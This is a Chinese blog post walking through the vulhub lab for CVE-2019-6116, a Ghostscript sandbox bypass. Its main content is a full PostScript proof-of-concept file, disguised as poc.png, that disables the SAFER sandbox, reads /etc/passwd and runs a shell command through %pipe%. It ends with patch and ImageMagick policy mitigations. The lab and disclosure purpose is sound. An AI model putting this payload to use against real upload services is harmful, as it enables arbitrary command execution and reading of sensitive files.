【vulhub】CVE-2019-6116 GhostScript 沙箱绕过(命令执行)漏洞

漏洞描述

1. 漏洞编号:CVE-2019-6116

2. 影响版本:

Ghostscript 9.24之前版本

commit c47512e5e638d903d69925f7ebab4de2aa3f481f 之前的版本均受到影响

ghostscript作为图像处理格式转换的底层应用。

漏洞导致所有引用ghostscript的上游应用受到影响。 涉及但不限于:

    imagemagick

    libmagick

    graphicsmagick

    gimp

    python-matplotlib

    texlive-core

    texmacs

    latex2html

    latex2rtf 等

3. 漏洞产生原因:

  2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

  GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

漏洞复现

启动环境

docker-compose build
docker-compose up -d

 

 

访问http://your-ip:8080,有一个上传点

 

构造poc.png

%!PS

% extract .actual_pdfpaintproc operator from pdfdict

/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

 

/exploit {

    (Stage 11: Exploitation...)=

 

    /forceput exch def

 

    systemdict /SAFER false forceput

    userparams /LockFilePermissions false forceput

    systemdict /userparams get /PermitFileControl [(*)] forceput

    systemdict /userparams get /PermitFileWriting [(*)] forceput

    systemdict /userparams get /PermitFileReading [(*)] forceput

 

    % update

    save restore

 

    % All done.

    stop

} def

 

errordict /typecheck {

    /typecount typecount 1 add def

    (Stage 10: /typecheck #)=only typecount ==

 

    % The first error will be the .knownget, which we handle and setup the

    % stack. The second error will be the ifelse (missing boolean), and then we

    % dump the operands.

    typecount 1 eq { null } if

    typecount 2 eq { pop 7 get exploit } if

    typecount 3 eq { (unexpected)= quit }  if

} put

 

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some

% executable arrays onto the operand stack that contain .forceput, but are not

% marked as executeonly or pseudo-operators.

%

% The routine was attempting to pass them to ifelse, but we can cause that to

% fail because when the routine was declared, it used `bind` but many of the

% names it uses are not operators and so are just looked up in the dictstack.

%

% This means we can push a dict onto the dictstack and control how the routine

% works.

<<

    /typecount      0

    /PDFfile        { (Stage 0: PDFfile)= currentfile }

    /q              { (Stage 1: q)= } % no-op

    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack

    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op

    /gput           { (Stage 5: gput)= }  % no-op

    /resolvestream  { (Stage 6: resolvestream)= } % no-op

    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op

    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index

    /pdfdict        { (Stage 9: pdfdict)=

        % cause a /typecheck error we handle above

        true

    }

>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

 

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

 

% Demonstrate reading a file we shouldnt have access to.

(/etc/passwd) (r) file dup 64 string readline pop == closefile

 

(Attempting to execute a shell command...)= flush

 

% run command

(%pipe%id > /tmp/success) (w) file closefile

 

(All done.)=

 

quit

上传后查看docker

 修复方案

  建议更新到(c47512e5e638d903d69925f7ebab4de2aa3f481f)之后的版本,或者直接重新拉取master分支进行更新

  若无法更新可先尝试禁用使用gs解析ps文件

  使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下<policy>(即禁用 PS、EPS、PDF、XPS coders、PCD):

<policymap>

<policy domain="coder" rights="none" pattern="PS" />

<policy domain="coder" rights="none" pattern="EPS" />

<policy domain="coder" rights="none" pattern="PDF" />

<policy domain="coder" rights="none" pattern="XPS" />

<policy domain="coder" rights="none" pattern="PCD" />

</policymap>

  但 taviso 提到 policy 是十分宽松的,可能会存在一些没有提及的格式存在绕过。

  360CERT 建议用户及及时进行版本升级,同时对线上涉及图像、pdf等格式的处理的服务进行版本自查。

 

posted @ 2025-05-14 16:58  Antoniiiia  阅读(17)  评论(0)    收藏  举报